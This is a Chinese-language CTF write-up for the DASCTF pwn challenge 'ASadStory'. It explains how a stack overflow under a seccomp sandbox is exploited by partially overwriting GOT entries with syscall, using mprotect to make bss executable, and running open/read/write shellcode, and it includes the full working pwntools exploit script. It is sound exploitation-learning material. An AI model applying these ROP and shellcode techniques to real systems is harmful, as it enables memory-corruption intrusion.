Note(Pwn) - 0x02

# Note (Pwn) - 0x02 - 一次 Shellcode 猜想的实践

做了 DASCTF X 0psu3 十一月挑战赛|越艰巨・越狂热 的 Pwn 的第一题 ASadStory ,解法挺好的。嗯,对。

# 前置知识

1.ORW
2.StackOverflow

# MainThings

# 解题

# Analysis

具体分析过程不再陈述。就是一个栈溢出,开了 PIE,NX,PartialRELRO,没有 Canary,然后还把 init_0 函数的地址给你了,可以计算出来基址。
获得函数地址之后会把 stdout 关闭掉,使用栈溢出读入之后会开启沙箱,把 execve 和 open 的系统调用给 ban 了。

改函数的 got 表为 syscall 的地址,这样就能调用 syscall 了,rax 可以用 read 的返回值(读入的 length)进行控制,之后就像 ORW 一样处理就行了。

# 函数的选择

既然要改函数的 got 表为 syscall,那么我们经过查看 ELF 中动态链接的函数,发现 prctl 函数比较适合。因为
1. 函数附近有 syscall
2. 经过 syscall 之后能够返回,且没有别的大影响
那么我们就能够通过修改 prctl 的 got 表存储地址的最低 1 字节(因为你没有 libc 基址而且 PIE 的基址最低三个 16 进制是 0,如果改两个字节还要爆破),来达到调用 syscall 的目的。

# ROP-Chain OR Shellcode

下一个问题就是在写 ropchain 的时候出现的,由于没有 libc 基址,涉及到 rdx 的东西都必须用 csu 进行调用函数。就很麻烦,ROPchain 也是非常的长。
我懒得写这么长的 ROP,然后就直接调用 shellcode 了。
就是调用 mprotect 的系统调用,把 bss 那里改为 rwxd 了(因为我栈迁移到那里了)

# open64() OR openat

刚开始没想到用 shellcode 的时候,想打开文件读取 flag,但是使用 openat 的系统调用好像很玄学(不要问我为什么不用 open 的系统调用,因为被 ban 了)
三个参数后两个还好,第一个不论咋变都没法打开文件。看了 glibc 文件之后,发现第一个参数是个常数,但是仍然打不开文件。
使用 shellcode 之后,直接可以抛弃自己调用 openat 了,直接调用 open64 () 不香吗?(啊?open 系统调用不是被 ban 了吗?哦,open64 () 用的是 openat,那没事了)
反正 shellcode 里面直接对 got 表存储地址操作就行了,相当于 ret2libc

# Another Way to Control RAX???

看 setbuf 函数的汇编,发现这里把 stdxxx 读入到 rax 里面,结束的时候没有把 rax 设置为 0,这就可以相当于 mov rax,[stdxxx_addr];ret 的 gadget 了。但是这里 setbuf 函数可能会因为 rax 的异常导致寄掉,这里我们还是要改下 setbuf 函数的 got 表存储地址为 ret 的。(这里 glibc 文件里面 setbuf 附近正好有 ret,直接低位覆盖就行了)
虽然这里会把 bss 里面的 strerr 给改掉,但是这里不必担心,syscall 的 write 好像不走这条路。

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './challenge'
p=remote('node4.buuoj.cn',26827)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./challenge')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
p.sendlineafter("2.no","1")
p.sendlineafter("weapon:","1")
p.recvuntil("0x")
addr=int(p.recv(12),16)
base=addr-0x1249
print(base)
syscall=0x1130+base
syscall_a=0x4048+base
read_a=0x1110+base
read_p=0x4038+base
setax=0x1265+base # set rax,err;pop rbp;ret
err=0x40a0+base

p.sendline("2")

buf=0x40b0+base
buf1=0x40b0+0x1000+base
sh=buf+0xb8
pop_rdi=0x1643+base
pop_rsi2=0x1641+base
prc=0x4020+base
csu0=0x163a+base # rbx=0 r15=function_addr rbp=buf-8
csu1=0x1620+base
leaveret=0x141e+base
puts=0x4030+base

setax_pay=p64(pop_rsi2)+p64(err)*2+p64(read_a)+p64(setax)

pause()
payload=b'a'*0x30
payload+=p64(buf-8)+p64(csu0)+p64(0)+p64(1)+p64(0)+p64(buf-8)+p64(0x500)+p64(read_p)+p64(csu1)+p64(buf-8)*7+p64(leaveret)
p.sendline(payload)
# setbuf got gai 0x7e
code=buf+0x100
out=0x40a0
exit=0x4058+base
flag=buf+0x300-0x1f8+0x300
gets=0x4050+base
pause()
payload2=p64(buf+0x100)+p64(pop_rsi2)+p64(syscall_a)*2+p64(read_a)+p64(pop_rsi2)+p64(prc)*2+p64(read_a)
# +p64(pop_rsi2)+p64(prc)*2+p64(read_a)+setax_pay+p64(buf+0x100)
payload2+=p64(csu0)+p64(0)+p64(1)+p64(0)+p64(0x4000+base)+p64(0xf)+p64(read_p)+p64(csu1)+p64(buf-8)*7+p64(pop_rdi)+p64(base+0x4000)+p64(pop_rsi2)+p64(0x1000)*2+p64(syscall)
payload2+=p64(flag-0x310)
# payload2+=p64(pop_rsi2)+p64(err)*2+p64(read_a)+p64(setax)+p64(buf+0x100)+p64(csu0)+p64(0)+p64(1)+p64(3)+p64(flag)+p64(0x100)+p64(prc)+p64(csu1)+p64(buf-8)*7+p64(syscall)
# payload2+=p64(pop_rsi2)+p64(err)*2+p64(read_a)+p64(setax)+p64(buf+0x100)+p64(csu0)+p64(0)+p64(1)+p64(out)+p64(flag)+p64(0x100)+p64(prc)+p64(csu1)+p64(buf-8)*7+p64(syscall)+p64(exit)
payload2.ljust(0x308,b'\x00')
payload2+=b'./flag\x00\x00'
payload2+=asm('''
mov rdx, 0x0
mov rsi, 0x0
mov rdi, {}
mov rax, [{}]
sub rax, 0x83970
add rax, 0x10dce0
call rax
mov rdi, 0x1
mov rsi, {}
mov rdx, 0x100
mov rax, 0
syscall
mov rdi, 2
mov rsi, {}
mov rdx, 0x100
mov rax, 0x1
syscall
'''.format(flag-0x318,gets,flag, flag))
p.sendline(payload2)
pause()
p.send(b'\x6c')
pause()
payload3=b'\x7e'
p.send(payload3)
pause()
p.send('aaaaaaaaaa')

p.interactive()

# 0x000000000000141e : leave ; ret
# 0x000000000000163c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000000163e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000001640 : pop r14 ; pop r15 ; ret
# 0x0000000000001642 : pop r15 ; ret
# 0x000000000000163b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000000163f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000001233 : pop rbp ; ret
# 0x0000000000001643 : pop rdi ; ret
# 0x0000000000001641 : pop rsi ; pop r15 ; ret
# 0x000000000000163d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000000101a : ret

# After Solving

突然想到自己都用 stderr 输出 flag 了,才意识到为什么不用 stderr 泄露 libc 基址呢。。。服了。。。
(???):你不会以为你这样就能逃离改 got 表的方法了吧???
仔细想想,针对这一题,如果泄露 libc 基址,就要用 stderr 输出东西,那么就要用 write,但是这里 got 表里面没有 write 函数,所以泄露 libc 基址还是要靠 syscall 的。
这样一想,如果泄露 libc 基址了,那么直接基本 ORW 不就秒了???
啊啊啊啊啊啊啊啊啊啊,我又想麻烦了,qswl
用 mprotect 函数打开运行权限再执行 shellcode 的想法之前很早就有了,但是一直没有找到好用的地方,就是这里吧。。。
把 got 表改为 syscall 确实是个不错的方法。